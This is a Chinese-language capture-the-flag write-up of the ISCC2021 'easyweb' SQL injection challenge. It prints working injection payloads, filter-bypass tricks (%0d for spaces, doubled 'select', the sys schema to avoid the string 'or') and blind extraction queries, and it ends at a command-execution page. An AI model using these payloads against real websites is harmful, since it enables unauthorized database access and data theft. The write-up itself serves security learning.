【ISCC2021 easyweb】一次有趣的sql注入题


一、进入页面,F12发现提示

二、进行传参测试,1,2,3页面返回正常,其它返回error,考虑是否存在sql注入


三、进行sql手工注入,发现存在字符型sql注入漏洞

payload:?id=0'||1=1%23

继续测试发现有以下几个问题

1、以下字符被拦截,页面返回die!!

or
空格,%0a,%20,%09,%0a,%0b,%0c,%a0,/*,

2、过滤了select,页面不返回die!!
3、load_file函数可用

四、尝试使用load_file读取flag文件,由于不知道绝对路径和flag文件的文件名暂时搁置

五、尝试解决sql注入关键字被过滤的问题

1、空格可替换的字符被过滤的有点多,但%0d没被过滤,可用%0d替换空格
2、由于select只过滤一次,所以select可用写成selselectct来绕过

六、解决字符 'or' 被拦截的问题

由于字符 'or' 被拦截,所以通过information_schema数据库来爆破库、表、列、数据的可能性几乎没有。所以我们需要考虑一种不需要使用字符 'or' 的注入思路

1、发现数据库版本为5.7.33,所以存在sys数据库。

payload:?id=0%27||ascii(%27§A§%27)=ascii(substr((§a§),§1§,1))%23

2、利用sys数据库爆出当前数据库下的表,从而绕过字符 'or' 的使用。

查表语句:
select group_concat(table_name) from sys.x$schema_table_statistics where table_schema=database()
利用intruder模块爆破
payload:/?id=0'||ascii('§a§')=ascii(substr((seselectlect%0dgroup_concat(table_name)%0dfrom%0dsys.x$schema_table_statistics%0dwhere%0dtable_schema=database()),§1§,1))%23

得到两个表

easyweb,iscc_flag

毫无疑问,我们要的东西在iscc_flag这个表中,但是我们不知道列名该怎么办呢?

3、有这么一个trick
我举几个例子简单解释一下
1) >、<、=判断

select * from test

select(select 1,'flag')=(select * from test)

select(select 1,'elag')<(select * from test)


2) 列的数量判断

当列的个数不匹配时,数据库会报错,页面会返回error
payload:?id=0'||(selselectect(selselectect%0d0)<(seselectlect%0d*%0dfrom%0discc_flag%0dlimit%0d0,1))%23

payload:?id=0'||(selselectect(selselectect%0d0,0)<(seselectlect%0d*%0dfrom%0discc_flag%0dlimit%0d0,1))%23


这样,我们知道了iscc_flag表有两列。
然后用上面的方式,爆出这两列的数据,最后得到了这样一个

payload:/?id=0'||(seselectlect(selselectect%0d'1',char(67,67,67,77,68,46,80,72,80))=(seselectlect%0d*%0dfrom%0discc_flag%0dlimit%0d0,1))%23 


我们得到了这两列的数据为:1,cccmd.php

可以看出,表中的cccmd.php是php页面

4、我们来到cccmd.php页面

分析发现可以执行pwd,得到当前绝对路径为:/var/www/const

5、还记得我们之前搁置的load_file函数吗,我们现在可以利用它读取flag页面源码了。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM